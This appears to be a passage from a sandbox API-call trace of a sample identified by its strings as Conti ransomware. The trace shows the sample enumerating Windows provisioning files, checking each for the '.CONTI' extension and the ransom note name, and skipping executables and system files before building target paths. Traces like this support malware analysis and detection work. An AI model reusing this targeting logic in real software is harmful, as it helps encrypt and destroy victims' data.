	[0107.462] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90542f74, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90542f74, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90542f74, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x29d, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="131__C~1.PRO")) returned 1
	[0107.462] lstrcmpiW (lpString1="131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.462] lstrcmpiW (lpString1="131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.462] StrStrIW (lpFirst="131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.463] StrStrIW (lpFirst="131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.463] StrStrIW (lpFirst="131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.463] StrStrIW (lpFirst="131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.463] StrStrIW (lpFirst="131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.463] StrStrIW (lpFirst="131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.463] StrStrIW (lpFirst="131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.463] StrStrIW (lpFirst="131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.463] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.463] lstrlenW (lpString="131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml") returned 81
	[0107.463] GetProcessHeap () returned 0x1720000
	[0107.463] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x158) returned 0x181b498
	[0107.463] lstrcpyW (in: lpString1=0x181b498, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.463] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.463] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml"
	[0107.463] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90542f74, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90542f74, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90542f74, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x299, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml", cAlternateFileName="132__C~1.PRO")) returned 1
	[0107.463] lstrcmpiW (lpString1="132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.463] lstrcmpiW (lpString1="132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.463] StrStrIW (lpFirst="132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.463] StrStrIW (lpFirst="132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.463] StrStrIW (lpFirst="132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.463] StrStrIW (lpFirst="132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.463] StrStrIW (lpFirst="132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.463] StrStrIW (lpFirst="132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.463] StrStrIW (lpFirst="132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.463] StrStrIW (lpFirst="132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.463] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.463] lstrlenW (lpString="132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml") returned 81
	[0107.463] GetProcessHeap () returned 0x1720000
	[0107.463] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x158) returned 0x181b5f8
	[0107.464] lstrcpyW (in: lpString1=0x181b5f8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.464] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.464] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml"
	[0107.464] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90542f74, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90542f74, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90542f74, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x294, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="133__C~1.PRO")) returned 1
	[0107.464] lstrcmpiW (lpString1="133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.464] lstrcmpiW (lpString1="133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.464] StrStrIW (lpFirst="133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.464] StrStrIW (lpFirst="133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.464] StrStrIW (lpFirst="133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.464] StrStrIW (lpFirst="133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.464] StrStrIW (lpFirst="133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.464] StrStrIW (lpFirst="133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.464] StrStrIW (lpFirst="133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.464] StrStrIW (lpFirst="133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.464] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.465] lstrlenW (lpString="133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml") returned 76
	[0107.465] GetProcessHeap () returned 0x1720000
	[0107.465] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14e) returned 0x17d1670
	[0107.465] lstrcpyW (in: lpString1=0x17d1670, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.465] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.465] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml"
	[0107.465] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90542f74, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90542f74, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90542f74, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x282, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="134__C~1.PRO")) returned 1
	[0107.465] lstrcmpiW (lpString1="134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.465] lstrcmpiW (lpString1="134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.465] StrStrIW (lpFirst="134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.465] StrStrIW (lpFirst="134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.465] StrStrIW (lpFirst="134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.465] StrStrIW (lpFirst="134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.465] StrStrIW (lpFirst="134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.465] StrStrIW (lpFirst="134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.465] StrStrIW (lpFirst="134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.465] StrStrIW (lpFirst="134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.465] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.465] lstrlenW (lpString="134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml") returned 66
	[0107.465] GetProcessHeap () returned 0x1720000
	[0107.465] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x17c9cd8
	[0107.465] lstrcpyW (in: lpString1=0x17c9cd8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.465] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.465] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml"
	[0107.465] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905691e4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905691e4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905691e4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml", cAlternateFileName="135__C~1.PRO")) returned 1
	[0107.465] lstrcmpiW (lpString1="135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.465] lstrcmpiW (lpString1="135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.465] StrStrIW (lpFirst="135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.465] StrStrIW (lpFirst="135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.466] StrStrIW (lpFirst="135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.466] StrStrIW (lpFirst="135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.466] StrStrIW (lpFirst="135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.466] StrStrIW (lpFirst="135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.466] StrStrIW (lpFirst="135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.466] StrStrIW (lpFirst="135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.466] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.466] lstrlenW (lpString="135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml") returned 67
	[0107.466] GetProcessHeap () returned 0x1720000
	[0107.466] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13c) returned 0x17c9b90
	[0107.466] lstrcpyW (in: lpString1=0x17c9b90, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.466] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.466] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml"
	[0107.466] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905691e4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905691e4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905691e4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d1, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml", cAlternateFileName="136__C~1.PRO")) returned 1
	[0107.466] lstrcmpiW (lpString1="136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.466] lstrcmpiW (lpString1="136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.466] StrStrIW (lpFirst="136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.466] StrStrIW (lpFirst="136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.466] StrStrIW (lpFirst="136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.466] StrStrIW (lpFirst="136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.466] StrStrIW (lpFirst="136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.466] StrStrIW (lpFirst="136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.466] StrStrIW (lpFirst="136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.466] StrStrIW (lpFirst="136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.466] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.466] lstrlenW (lpString="136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml") returned 67
	[0107.466] GetProcessHeap () returned 0x1720000
	[0107.466] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13c) returned 0x17c9f68
	[0107.466] lstrcpyW (in: lpString1=0x17c9f68, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.466] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.467] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml"
	[0107.467] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905691e4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905691e4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905691e4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="137__C~1.PRO")) returned 1
	[0107.467] lstrcmpiW (lpString1="137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0107.467] lstrcmpiW (lpString1="137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0107.467] StrStrIW (lpFirst="137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0107.467] StrStrIW (lpFirst="137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.467] StrStrIW (lpFirst="137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".exe") returned 0x0
	[0107.467] StrStrIW (lpFirst="137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".dll") returned 0x0
	[0107.467] StrStrIW (lpFirst="137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".lnk") returned 0x0
	[0107.467] StrStrIW (lpFirst="137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".sys") returned 0x0
	[0107.467] StrStrIW (lpFirst="137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0107.467] StrStrIW (lpFirst="137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.467] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.467] lstrlenW (lpString="137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 53
	[0107.467] GetProcessHeap () returned 0x1720000
	[0107.467] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x120) returned 0x17c0070
	[0107.467] lstrcpyW (in: lpString1=0x17c0070, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
